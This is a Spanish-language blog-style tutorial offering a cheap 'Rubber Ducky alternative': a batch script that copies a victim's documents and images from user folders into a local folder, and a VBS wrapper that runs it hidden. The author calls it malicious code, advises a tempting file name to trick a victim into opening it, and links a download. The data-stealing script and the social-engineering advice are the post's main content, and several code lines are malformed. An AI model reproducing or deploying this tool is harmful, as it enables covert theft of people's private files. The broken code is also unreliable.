Hola amigos como estan en esta ocasion ,es traigo un post de algo que les gusta a muchos y me incluyo,a mi por mi parte me encanta la seguridad y sus fallos, es por ello que hoy traigo lo que les traigo,una alternativa economica pero no tan eficiente a un Rubber Ducky, primero tenemos que saber que es u rubber ducky
es hay en dode entra el rubber ducky en los dispositivos de entrada y de salida, ya que este se integra en el sistema operativo (Windows,Linux,OS) y permite ejecutar payloads,Keylogers y otras cosas que se encargan de informar al ataacante (quien provee el Rubber Ducky), no necesitamos saber por ahora.
Todo con el simple echo de conectar el "usb" a nuestra pc.
-Puedes tomar el atajo que te ofresco y copias el codigo que aqui te dejo y ver el video del final para entender el uso.
PASO1-
Ve al escritorio de windows y crea un archivo de texto, pulsado click derecho del mouse en la pestaña nuevo-> Documento de texto..una ves abierto el block de notas pega el siguiente codigo.
IF NOT EXIST ".\vYruz"%USERNAME% MD ".\vYruz"%USERNAME%
cd ".\cosas"%USERNAME%
robocopy *.txt "C:\Users%username%\Documents" ".\vYruz%username%"
robocopy *.txt "C:\Users%username%\Downloads" ".\vYruz%username%"
robocopy *.txt "C:\Users%username%\Pictures" ".\vYruz%username%"
robocopy *.txt "C:\Users%username%\Desktop" ".\vYruz%username%"
robocopy *.jpg "C:\Users%username%\Documents" ".\vYruz%username%"
robocopy *.jpg "C:\Users%username%\Downloads" ".\vYruz%username%"
robocopy *.jpg "C:\Users%username%\Pictures" ".\vYruz%username%"
robocopy *.jpg "C:\Users%username%\Desktop" ".\vYruz%username%"
robocopy *.png "C:\Users%username%\Documents" ".\vYruz%username%"
robocopy *.png "C:\Users%username%\Downloads" ".\vYruz%username%"
robocopy *.png "C:\Users%username%\Pictures" ".\vYruz%username%"
robocopy *.png "C:\Users%username%\Desktop" ".\vYruz%username%"
robocopy *.docx "C:\Users%username%\Documents" ".\vYruz%username%"
robocopy *.docx"C:\Users%username%\Downloads" ".\vYruz%username%"
robocopy *.docx"C:\Users%username%\Pictures" ".\vYruz%username%"
robocopy *.docx"C:\Users%username%\Desktop" ".\vYruz%username%"
robocopy *.doc "C:\Users%username%\Documents" ".\vYruz%username%"
robocopy *.doc "C:\Users%username%\Downloads" ".\vYruz%username%"
robocopy *.doc "C:\Users%username%\Pictures" ".\vYruz%username%"
robocopy *.doc "C:\Users%username%\Desktop" ".\vYruz%username%"
XCopy C:\Users%username%\Pictures .\vYruz%username% /s /y
XCopy C:\Users%username%\Downloads .\vYruz%username% /s /y
PASO 2
luego de que lo hayas copiado procedemos a guardar como. script.bat (en la parte de abajo que dice archivo de texto cambiar por ASCII )
Si se guarda bien todo nos quedara un segundo archivo con el nombre que pusimos, si no nos saldra un desfigurado asi
: script.bat.text para solucionar esto al guardar devemos cambiar el tipo guardado de-> .Todos los archivos de texto cambiarlo a todos los archivos .
Paso 3
Crear un segudo archivo de texto con el siguiente codigo
Dim WinScriptHost
Set WinScriptHost = CreateObject("WScript.Shell")
WinScriptHost.Run Chr(34) & "script.bat" & Chr(34), 0
Set WinScriptHost = Nothing
NOTA:(podemos cambiar lo que esta en parentesis por el nombre que le pusimos a nuestro anterior archivo "script.bat")
en el cual procederemos igual que en el paso anterior, guardaremos pero enves de colocar sript.bat le pondremos cualquiercosa.vbs, lo importante en todo esto es la extension .bat y .vbs los nombres no tanto
y listo. ese es nuestro codigo malevolo. podremos colocar un nombre tentador para nuestra victima par que lo abra y asi caer.
aqui te dejo el link para que descargues el codigo---->https://adsrt.me/IDq5L
y aqui el video por si no entendiste bien------>
